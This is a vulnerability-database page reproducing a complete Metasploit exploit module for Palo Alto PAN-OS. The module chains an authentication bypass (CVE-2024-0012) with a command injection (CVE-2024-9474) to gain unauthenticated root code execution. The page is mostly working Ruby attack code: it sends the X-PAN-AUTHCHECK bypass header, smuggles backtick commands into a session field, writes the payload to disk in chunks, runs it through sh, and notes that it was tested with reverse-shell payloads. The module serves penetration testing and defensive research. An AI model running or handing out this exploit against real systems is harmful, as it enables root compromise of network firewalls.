Lucene search
K

Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution

🗓️ 30 Dec 2024 18:55:22Reported by watchTowr, sfewer-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 321 Views

Palo Alto PAN-OS has critical vulnerabilities allowing unauthenticated remote code execution.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
          vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
          execute arbitrary code with root privileges.

          The following versions are affected:
          * PAN-OS 11.2 (up to and including 11.2.4-h1)
          * PAN-OS 11.1 (up to and including 11.1.5-h1)
          * PAN-OS 11.0 (up to and including 11.0.6-h1)
          * PAN-OS 10.2 (up to and including 10.2.12-h2)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'watchTowr', # Technical Analysis
          'sfewer-r7' # Metasploit module
        ],
        'References' => [
          ['CVE', '2024-0012'],
          ['CVE', '2024-9474'],
          # Vendor Advisories
          ['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'],
          ['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'],
          # Technical Analysis
          ['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/']
        ],
        'DisclosureDate' => '2024-11-18',
        'Platform' => [ 'linux', 'unix' ],
        'Arch' => [ARCH_CMD],
        'Privileged' => true, # Executes as root on Linux
        'Targets' => [
          [
            'Default', {
              'Payload' => {
                # See the comment in the exploit method for how we calculated the payload Space value.
                'Space' => 5670,
                # We write the payload in chunks, which limits our total space, but is also slow, so we disable nops
                # to ensure the payload is as small as possible.
                'DisableNops' => true,
                'BadChars' => '\\\'"&'
              }
            }
          ]
        ],
        # NOTE: Tested with the payloads:
        #   cmd/linux/http/x64/meterpreter_reverse_tcp
        #   cmd/linux/http/x64/meterpreter/reverse_tcp
        #   cmd/unix/reverse_bash
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          # A writable directory on the target for fetch based payloads to write to.
          'FETCH_WRITABLE_DIR' => '/var/tmp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        OptString.new('WRITABLE_DIR', [true, 'The full path of a writable directory on the target.', '/var/tmp'])
      ]
    )
  end

  # Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to
  # confirm the target is vulnerable. The check routine will delete this file after it has been read.
  def check
    check_file_name = Rex::Text.rand_text_alphanumeric(4)

    # NOTE: We set dontfail to true, as a check routine cannot fail_with().

    # return Safe if we fail to trigger the vulnerability and execute a command.
    return CheckCode::Safe('The target is not vulnerable') unless execute_cmd(
      "echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}",
      dontfail: true
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('unauth', check_file_name)
    )

    return CheckCode::Unknown('Connection failed') unless res

    if res.code == 200 && res.body.include?(check_file_name)

      # return Unknown if we fail to trigger the vulnerability a second time.
      return CheckCode::Unknown('Could not determine the target status') unless execute_cmd(
        "rm -f /var/appweb/htdocs/unauth/#{check_file_name}",
        dontfail: true
      )

      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    CheckCode::Safe('The target is not vulnerable')
  end

  # We can only execute a short command upon each invocation of the command injection vulnerability. To execute
  # a Metasploit payload, we first write the payload to a file, but we do the file write in small
  # chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each
  # chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk.
  # We then amalgamate all these chunks together back into a single file, reconstituting the original payload.
  # Finally we read the payload from the file, and pipe it to a shell to execute it. To avoid our payload being
  # executed twice, the payload will delete the single payload file upon the first execution of the payload,
  # causing any second attempt to execute the payload to fail.
  def exploit
    tmp_file_name = Rex::Text.rand_text_alphanumeric(4)

    bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}"

    idx = 1
    idx_prefix = ''

    # Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
    # 25 for the echo command that writes the chunk to a file (assuming a path of /var/tmp and a single digit idx
    # value. So by default, the chunk size will be 36. However this may change as we write the chunks.
    # To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
    # we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
    # sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
    # A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
    # we must recompute the chunk size, to ensure we dont go over the 63 character limit.
    chunk_size = 63 - 2 - "echo -n ''>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}".length

    # We display the progress to the user, so track that with a current and max chunk number.
    curr_chunk_number = 1

    max_chunk_number = (bootstrap_payload.length / chunk_size) + 1

    while bootstrap_payload && !bootstrap_payload.empty?

      print_status("Uploading payload chunk #{curr_chunk_number} of #{max_chunk_number}...")

      chunk = bootstrap_payload[0, chunk_size]

      bootstrap_payload = bootstrap_payload[chunk_size..]

      execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}")

      idx += 1

      if idx > 9
        idx = 1
        idx_prefix += '9'
        # Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
        # next chunk must have 1 less character.
        chunk_size -= 1
        # If the payload was too big, and we run out of space in the command to write any chunk data, fail.
        # This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
        # available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
        # character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
        # would be a max MSF payload size of 5670 characters. Calculated with the command:
        # ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
        fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
      end

      curr_chunk_number += 1
    end

    print_status('Amalgamating payload chunks...')

    execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['WRITABLE_DIR']}/#{tmp_file_name}")

    print_status('Executing payload...')

    execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}|sh", dontfail: true)
  end

  def execute_cmd(cmd, dontfail: false)
    user = "`#{cmd}`"

    # There is a 63 character limit for the command injection.
    if user.length >= 64
      fail_with(Failure::BadConfig, 'Command too long for execute_cmd')
    end

    vprint_status(user)

    # Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474).
    res1 = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"),
      'headers' => {
        'X-PAN-AUTHCHECK' => 'off'
      },
      'keep_cookies' => true,
      'vars_post' => {
        'user' => user,
        'userRole' => 'superuser',
        'remoteHost' => '',
        'vsys' => 'vsys1'
      }
    )

    unless res1&.code == 200
      if dontfail
        return false
      end

      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php')
    end

    unless cookie_jar.cookies.find { |c| c.name == 'PHPSESSID' }
      fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned')
    end

    # Trigger the command injection (CVE-2024-9474).
    res2 = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('index.php', '.js.map'),
      'keep_cookies' => true
    )

    unless res2&.code == 200
      if dontfail
        return false
      end

      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map')
    end

    true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation